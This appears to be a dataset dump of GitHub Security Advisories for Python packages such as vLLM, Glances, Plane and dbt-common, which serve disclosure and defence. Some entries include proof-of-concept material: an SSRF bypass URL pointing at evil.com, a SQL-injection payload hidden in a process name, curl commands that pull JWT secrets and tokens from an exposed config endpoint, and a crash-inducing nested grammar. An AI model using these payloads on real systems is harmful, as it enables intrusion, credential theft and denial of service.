deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-9r5j-7r2x-rv4g
Package: apache-airflow-providers-http (PIP)
Severity: HIGH (CVSS 8.8)
CWE: CWE-913: Improper Control of Dynamically-Managed Code Resources
Vulnerable versions: < 6.0.0
Patched in: 6.0.0

Summary: Apache Airflow Providers Http has Unsafe Pickle Deserializatio leading to RCE via HttpOperator

Details:
A user with access to the DB could craft a database entry that would result in executing code on Triggerer - which gives anyone who have access to DB the same permissions as Dag Author. Since direct DB access is not usual and recommended for Airflow, the likelihood of it making any damage is low.

Users should upgrade to version 6.0.0 of the provider to avoid even that risk.
GitHub Security Advisory: GHSA-m6hv-x64c-27mm
Package: copyparty (PIP)
Severity: MODERATE (CVSS 4.6)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 1.20.10
Patched in: 1.20.11

Summary: copyparty: volflag `nohtml` did not block javascript in svg files

Details:
### Summary
The `nohtml` config option, intended to prevent execution of JavaScript in user-uploaded HTML files, did not apply to SVG images.

### Details
A user with write-permission could upload an SVG containing embedded JavaScript, which would execute in the context of whichever user opens it.

This in itself is not a vulnerability; it is intended behavior according to [the SVG spec](https://www.w3.org/TR/SVG11/script.html). The vulnerability is that the `nohtml` volflag, when enabled, did not prevent this.

`nohtml`, intended for use on volumes which contains untrusted files, would correctly prevent execution of javascript in HTML files, but did not consider SVG images. This has been fixed in v1.20.11.

### Impact
The malicious JavaScript could move or delete existing files on the server, or upload new files, using the account of the person who opens the SVG.
GitHub Security Advisory: GHSA-v359-jj2v-j536
Package: vllm (PIP)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: >= 0.15.1, < 0.17.0
Patched in: 0.17.0

Summary: vLLM has SSRF Protection Bypass

Details:
## Summary

The SSRF protection fix for https://github.com/vllm-project/vllm/security/advisories/GHSA-qh4c-xf7m-gxfc can be bypassed in the `load_from_url_async` method due to inconsistent URL parsing behavior between the validation layer and the actual HTTP client.

## Affected Component

- **File**: `vllm/connections.py`
- **Function**: `load_from_url_async`

## Vulnerability Details

### Root Cause

The SSRF [fix](https://github.com/vllm-project/vllm/pull/32746) uses `urllib3.util.parse_url()` to validate and extract the hostname from user-provided URLs. However, `load_from_url_async` uses `aiohttp` for making the actual HTTP requests, and `aiohttp` internally uses the `yarl` library for URL parsing.

These two URL parsers handle backslash characters (`\`) differently:

| Parser | Input URL | Parsed Host | Parsed Path | Behavior |
|--------|-----------|-------------|-------------|----------|
| `urllib3.parse_url()` | `https://httpbin.org\@evil.com/` | `httpbin.org` | `/%5C@evil.com/` | URL-encodes `\` as `%5C`, treats `\@evil.com/` as part of the path |
| `yarl` (via aiohttp) | `https://httpbin.org\@evil.com/` | `evil.com` | `/` | Treats `\` as part of userinfo (`user: httpbin.org\`), the `@` acts as the userinfo/host separator |

### Attack Scenario

```python
# Attacker provides this URL
malicious_url = "https://httpbin.org\\@evil.com/"

# 1. Validation layer (urllib3.parse_url)
parsed = urllib3.util.parse_url(malicious_url)
# parsed.host == "httpbin.org"  ✅ Passes validation

# 2. Actual request (aiohttp with yarl)
async with aiohttp.ClientSession() as session:
    async with session.get(malicious_url) as response:
        # Request actually goes to evil.com!  ❌ Bypass!
```

### Why This Happens

1. **yarl**: Interprets `httpbin.org\` as the userinfo component, and `@` as the userinfo/host separator, so the URL is parsed as `user=httpbin.org\`, `host=evil.com`, `path=/`
2. **urllib3**: URL-encodes the backslash as `%5C`, so `\@evil.com/` becomes `/%5C@evil.com/` which is treated as part of the path, leaving `host=httpbin.org`

This inconsistency allows an attacker to:
- Bypass the hostname allowlist check
- Access arbitrary internal/external services
- Perform full SSRF attacks

## Fixes

- https://github.com/vllm-project/vllm/pull/34743
GitHub Security Advisory: GHSA-x46r-mf5g-xpr6
Package: Glances (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: < 4.5.1
Patched in: 4.5.1

Summary: Glances has SQL Injection via Process Names in TimescaleDB Export

Details:
### Summary

The TimescaleDB export module constructs SQL queries using string concatenation with unsanitized system monitoring data. The normalize() method wraps string values in single quotes but does not escape embedded single quotes, making SQL injection trivial via attacker-controlled data such as process names, filesystem mount points, network interface names, or container names.

Root Cause: The normalize() function uses f"'{value}'" for string values without escaping single quotes within the value. The resulting strings are concatenated into INSERT queries via string formatting and executed directly with cur.execute() — no parameterized queries are used.

#### Affected Code
- _File: glances/exports/glances_timescaledb/__init__.py, lines 79-93 (normalize function)_
```
def normalize(self, value):
    """Normalize the value to be exportable to TimescaleDB."""
    if value is None:
        return 'NULL'
    if isinstance(value, bool):
        return str(value).upper()
    if isinstance(value, (list, tuple)):
        # Special case for list of one boolean
        if len(value) == 1 and isinstance(value[0], bool):
            return str(value[0]).upper()
        return ', '.join([f"'{v}'" for v in value])
    if isinstance(value, str):
        return f"'{value}'"  # <-- NO ESCAPING of single quotes within value

    return f"{value}"
```

- _File: glances/exports/glances_timescaledb/__init__.py, lines 201-205 (query construction)_
```
# Insert the data
insert_list = [f"({','.join(i)})" for i in values_list]
insert_query = f"INSERT INTO {plugin} VALUES {','.join(insert_list)};"
logger.debug(f"Insert data into table: {insert_query}")
try:
    cur.execute(insert_query)  # <-- Direct execution of concatenated SQL
```

### PoC
- As a normal user, create a process with the name containing the SQL Injection payload:
```
exec -a "x'); COPY (SELECT version()) TO '/tmp/sqli_proof.txt' --"   python3 -c 'import time; [sum(range(500000)) or time.sleep(0.01) for _ in iter(int, 1)]'
```
- Start Glances with TimescaleDB export as root user:
```
glances --export timescaledb --export-process-filter ".*" --time 5 --stdout cpu
```
- Observe that sqli_proof.txt is created in /tmp directory.

### Impact

- Data Destruction: DROP TABLE, DELETE, TRUNCATE operations against the TimescaleDB database.
- Data Exfiltration: Using COPY ... TO or subqueries to extract data from other tables.
- Potential RCE: Via PostgreSQL extensions like COPY ... PROGRAM which executes OS commands.
- Privilege Escalation: Any local user who can create a process with a crafted name can inject SQL into the database, potentially compromising the entire PostgreSQL instance.
GitHub Security Advisory: GHSA-gh4x-f7cq-wwx6
Package: glances (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: < 4.5.1
Patched in: 4.5.1

Summary: Glances Exposes Unauthenticated Configuration Secrets

Details:
### Summary
The /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.as_dict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords.

### Details
Root Cause: The as_dict() method in config.py iterates over every section and every key in the ConfigParser and returns them all as a flat dictionary. No sensitive key filtering or redaction is applied.

Affected Code:
- _File: glances/outputs/glances_restful_api.py, lines 1154-1167_
```
def _api_config(self):
    """Glances API RESTful implementation.

    Return the JSON representation of the Glances configuration file
    HTTP/200 if OK
    HTTP/404 if others error
    """
    try:
        # Get the RAW value of the config' dict
        args_json = self.config.as_dict()  # <-- Returns ALL config including secrets
    except Exception as e:
        raise HTTPException(status.HTTP_404_NOT_FOUND, f"Cannot get config ({str(e)})")
    else:
        return GlancesJSONResponse(args_json)
```

- _File: glances/config.py, lines 280-287_
```
def as_dict(self):
    """Return the configuration as a dict"""
    dictionary = {}
    for section in self.parser.sections():
        dictionary[section] = {}
        for option in self.parser.options(section):
            dictionary[section][option] = self.parser.get(section, option)  # No filtering
    return dictionary
```
- _File: glances/outputs/glances_restful_api.py, lines 472-475 (authentication bypass)_
```
if self.args.[CREDENTIAL_REDACTED] = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])
else:
    router = APIRouter(prefix=self.url_prefix)  # No authentication!
```
### PoC
- Start Glances in default webserver mode:
```
glances -w
# Glances web server started on http://0.0.0.0:61208/
```
- From any network-reachable host, retrieve all configuration secrets:
```
# Get entire config including all credentials
curl http://target:61208/api/4/config
```
Step 3: Extract specific secrets:
```
# Get JWT secret key for token forgery
curl http://target:61208/api/4/config/outputs/jwt_secret_key

# Get InfluxDB token
curl http://target:61208/api/4/config/influxdb2/token

# Get all stored server passwords
curl http://target:61208/api/4/config/passwords
```
### Impact
Full Infrastructure Compromise: Database credentials (InfluxDB, MongoDB, PostgreSQL/TimescaleDB, CouchDB, Cassandra) allow direct access to all connected backend data stores.
GitHub Security Advisory: GHSA-qr2g-p6q7-w82m
Package: x402 (PIP)
Severity: HIGH (CVSS 0.0)
Vulnerable versions: < 2.3.0
Patched in: 2.3.0

Summary: x402 SDK Security Advisory

Details:
### Impact

A security vulnerability exists in outdated versions of the x402 SDK.

This vulnerability does not affect users' private keys, smart contracts, or funds.

The issue impacts resource servers accepting payments on Solana when the facilitator is running a vulnerable version of the x402 SDK.

### Who Should Take Action

Facilitators that process payments on Solana must upgrade the x402 SDK to the patched versions listed below.

Clients are not required to upgrade.

Resource servers are not required to upgrade unless they operate their own facilitator (self-facilitate).

### Patches

Please update to the following package versions:
* Npm: @x402/svm >= 2.6.0
* Pypi: x402 >= 2.3.0
* Go: x402 >= 2.5.0
GitHub Security Advisory: GHSA-v2xr-wvrv-p969
Package: ragas (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-770: Allocation of Resources Without Limits or Throttling, CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: >= 0.2.3, < 0.3.0-rc1
Patched in: 0.3.0-rc1

Summary: RAGAS has an Arbitrary File Read vulnerability

Details:
An Arbitrary File Read vulnerability exists in the ImageTextPromptValue class in Exploding Gradients RAGAS v0.2.3 to v0.2.14. The vulnerability stems from improper validation and sanitization of URLs supplied in the retrieved_contexts parameter when handling multimodal inputs.
GitHub Security Advisory: GHSA-5wmx-573v-2qwq
Package: Markdown (PIP)
Severity: MODERATE (CVSS 7.5)
CWE: CWE-248: Uncaught Exception, CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: < 3.8.1
Patched in: 3.8.1

Summary: Python-Markdown has an Uncaught Exception

Details:
Python-Markdown version 3.8 contain a vulnerability where malformed HTML-like sequences can cause html.parser.HTMLParser to raise an unhandled AssertionError during Markdown parsing. Because Python-Markdown does not catch this exception, any application that processes attacker-controlled Markdown may crash. This enables remote, unauthenticated Denial of Service in web applications, documentation systems, CI/CD pipelines, and any service that renders untrusted Markdown. The issue was acknowledged by the vendor and fixed in version 3.8.1. This issue causes a remote Denial of Service in any application parsing untrusted Markdown, and can lead to Information Disclosure through uncaught exceptions.
GitHub Security Advisory: GHSA-87x4-j8vh-p5qf
Package: plane (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, CWE-284: Improper Access Control
Vulnerable versions: < 0.2.1
Patched in: unpatched

Summary: Plane is Vulnerable to Unauthenticated Workspace Member Information Disclosure

Details:
## Executive Summary

A security vulnerability exists in the Plane project management platform that allows unauthenticated attackers to enumerate workspace members and extract sensitive information including email addresses, user roles, and internal identifiers. The vulnerability stems from Django REST Framework permission classes being incorrectly configured to allow anonymous access to protected endpoints.

This vulnerability enables attackers to:

- Enumerate all members of any workspace without authentication
- Extract user email addresses and personally identifiable information (PII)
- Identify administrative accounts for targeted attacks
- Map organizational structure and user roles
- Conduct reconnaissance for social engineering attacks


**Affected Endpoints:**

```
GET /api/public/workspaces/{workspace_slug}/members/
GET /api/public/workspaces/{workspace_slug}/projects/{project_id}/members/
```
A fix is available at https://github.com/makeplane/plane/releases/tag/v1.2.3.
GitHub Security Advisory: GHSA-fpx8-73gf-7x73
Package: plane (PIP)
Severity: HIGH (CVSS 8.5)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 1.2.1
Patched in: 1.2.3

Summary: Plane has SSRF via Incomplete IP Validation in Webhook URL Serializer

Details:
### Summary
The webhook URL validation in `plane/app/serializers/webhook.py` only checks `ip.is_loopback`, allowing attackers with workspace ADMIN role to create webhooks pointing to private/internal network addresses (`10.x.x.x`, `172.16.x.x`, `192.168.x.x`, `169.254.169.254`, etc.). When webhook events fire, the server makes requests to these internal addresses and stores the response — enabling SSRF with full response read-back.

### Impact
- **Cloud metadata exfiltration**: Access AWS/GCP/Azure instance metadata (IAM credentials, tokens)
- **Internal service scanning**: Probe internal network services not exposed to the internet
- **Data exfiltration via response logs**: Full response body from internal services is stored and returned to the attacker through the webhook logs API
- Bypass vectors: `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `169.254.0.0/16`, `0.0.0.0`, `::ffff:` mapped addresses
GitHub Security Advisory: GHSA-2jpr-83rg-v67j
Package: django-allauth (PIP)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
Vulnerable versions: < 65.14.1
Patched in: 65.14.1

Summary: django-allauth has an open redirect vulnerability

Details:
An open redirect vulnerability exists in django-allauth versions prior to 65.14.1 when SAML IdP initiated SSO is enabled (it is disabled by default), which may allow an attacker to redirect users to an arbitrary external website via a crafted URL.
GitHub Security Advisory: GHSA-7rgv-gqhr-fxg3
Package: xgrammar (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-674: Uncontrolled Recursion
Vulnerable versions: <= 0.1.31
Patched in: 0.1.32

Summary: xgrammar vulnerable to DoS via multi-layer nesting

Details:
### Summary

The multi-level nested syntax caused a segmentation fault (core dump).


### Details

A trigger stack overflow or memory exhaustion was caused by constructing a malicious grammar rule containing 30,000 layers of nested parentheses.

### PoC

```
#!/usr/bin/env python3
"""
XGrammar - Math Expression Generation Example
"""

import xgrammar as xgr
import torch
from transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig

s = '(' * 30000 + 'a'
grammar = f"root ::= {s}"

def main():
    device = "cuda" if torch.cuda.is_available() else "cpu"
    model_name = "Qwen/Qwen2.5-0.5B-Instruct"
    
    # Load model
    model = AutoModelForCausalLM.from_pretrained(
        model_name,
        torch_dtype=torch.float16 if device == "cuda" else torch.float32,
        device_map=device
    )
    tokenizer = AutoTokenizer.from_pretrained(model_name)
    config = AutoConfig.from_pretrained(model_name)
    
    # Math expression grammar
    math_grammar = grammar
    
    # Setup
    tokenizer_info = xgr.TokenizerInfo.from_huggingface(
        tokenizer,
        vocab_size=config.vocab_size
    )
    compiler = xgr.GrammarCompiler(tokenizer_info)
    compiled_grammar = compiler.compile_grammar(math_grammar)
    
    # Generate
    prompt = "Math: "
    inputs = tokenizer(prompt, return_tensors="pt").to(device)
    
    xgr_processor = xgr.contrib.hf.LogitsProcessor(compiled_grammar)
    
    output_ids = model.generate(
        **inputs,
        max_new_tokens=50,
        logits_processor=[xgr_processor]
    )
    
    result = tokenizer.decode(
        output_ids[0][len(inputs.input_ids[0]):],
        skip_special_tokens=True
    )
    
    print(f"Generated expression: {result}")

if __name__ == "__main__":
    main()
```



```
> pip show xgrammar
Name: xgrammar
Version: 0.1.31
Summary: Efficient, Flexible and Portable Structured Generation
Home-page: 
Author: MLC Team
Author-email: 
License: Apache 2.0
Location: /home/yuelinwang/.local/lib/python3.10/site-packages
Requires: numpy, pydantic, torch, transformers, triton, typing-extensions
Required-by: 

> python3 1.py 
`torch_dtype` is deprecated! Use `dtype` instead!
Segmentation fault (core dumped)
```


### Impact

DoS
GitHub Security Advisory: GHSA-w75w-9qv4-j5xj
Package: dbt-common (PIP)
Severity: LOW (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: >= 1.35.0, < 1.37.3
Patched in: 1.37.3

Summary: dbt-common's commonprefix() doesn't protect against path traversal

Details:
### Impact
_What kind of vulnerability is it? Who is impacted?_

A path traversal vulnerability exists in dbt-common's `safe_extract()` function used when extracting tarball archives. The function uses `os.path.commonprefix()` to validate that extracted files remain within the intended destination directory. However, `commonprefix()` compares paths character-by-character rather than by path components, allowing a malicious tarball to write files to sibling directories with matching name prefixes.

For example, when extracting to `/tmp/packages`, a crafted tarball could write files to `/tmp/packagesevil/` by exploiting the character-based prefix matching.

This vulnerability affects users who:
- Install dbt packages from untrusted sources
- Process tarball archives through dbt-common's extraction utilities

The practical risk is limited because:
- Exploitation requires a malicious tarball to be processed
- File writes are restricted to sibling directories with matching prefixes (not arbitrary paths)
- Packages from trusted sources (dbt Hub) are not affected

This is similar to CVE-2026-1703 in pip, which had a CVSS score of 3.9 (Low).

### Patches
_Has the problem been patched? What versions should users upgrade to?_

Fixed in `dbt-common` version 1.37.3 & 1.34.2, and patched for dbt-core 1.11.7 and 1.10.20 releases.

The fix replaces `os.path.commonprefix()` with `os.path.commonpath()`, which correctly compares paths by their components rather than characters.

### Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_

- Only install dbt packages from trusted sources (official dbt Hub, verified git repositories)
- Avoid installing packages from untrusted URLs or unverified third parties
- Review package contents before installation when sourcing from external locations

### Resources
_Are there any links users can visit to find out more?_

1. CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'): https://cwe.mitre.org/data/definitions/22.html
2. CVE-2026-1703 (similar vulnerability in pip): https://nvd.nist.gov/vuln/detail/CVE-2026-1703
3. pip fix PR #13777: https://github.com/pypa/pip/pull/13777
4. Python documentation on `commonpath` vs `commonprefix`: https://docs.python.org/3/library/os.path.html#os.path.commonpath
GitHub Security Advisory: GHSA-w75w-9qv4-j5xj
Package: dbt-common (PIP)
Severity: LOW (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 1.34.2
Patched in: 1.34.2

Summary: dbt-common's commonprefix() doesn't protect against path traversal

Details:
### Impact
_What kind of vulnerability is it? Who is impacted?_

A path traversal vulnerability exists in dbt-common's `safe_extract()` function used when extracting tarball archives. The function uses `os.path.commonprefix()` to validate that extracted files remain within the intended destination directory. However, `commonprefix()` compares paths character-by-character rather than by path components, allowing a malicious tarball to write files to sibling directories with matching name prefixes.

For example, when extracting to `/tmp/packages`, a crafted tarball could write files to `/tmp/packagesevil/` by exploiting the character-based prefix matching.

This vulnerability affects users who:
- Install dbt packages from untrusted sources
- Process tarball archives through dbt-common's extraction utilities

The practical risk is limited because:
- Exploitation requires a malicious tarball to be processed
- File writes are restricted to sibling directories with matching prefixes (not arbitrary paths)
- Packages from trusted sources (dbt Hub) are not affected

This is similar to CVE-2026-1703 in pip, which had a CVSS score of 3.9 (Low).

### Patches
_Has the problem been patched? What versions should users upgrade to?_

Fixed in `dbt-common` version 1.37.3 & 1.34.2, and patched for dbt-core 1.11.7 and 1.10.20 releases.

The fix replaces `os.path.commonprefix()` with `os.path.commonpath()`, which correctly compares paths by their components rather than characters.

### Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_

- Only install dbt packages from trusted sources (official dbt Hub, verified git repositories)
- Avoid installing packages from untrusted URLs or unverified third parties
- Review package contents before installation when sourcing from external locations

### Resources
_Are there any links users can visit to find out more?_

1. CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'): https://cwe.mitre.org/data/definitions/22.html
2. CVE-2026-1703 (similar vulnerability in pip): https://nvd.nist.gov/vuln/detail/CVE-2026-1703
3. pip fix PR #13777: https://github.com/pypa/pip/pull/13777
4. Python documentation on `commonpath` vs `commonprefix`: https://docs.python.org/3/library/os.path.html#os.path.commonpath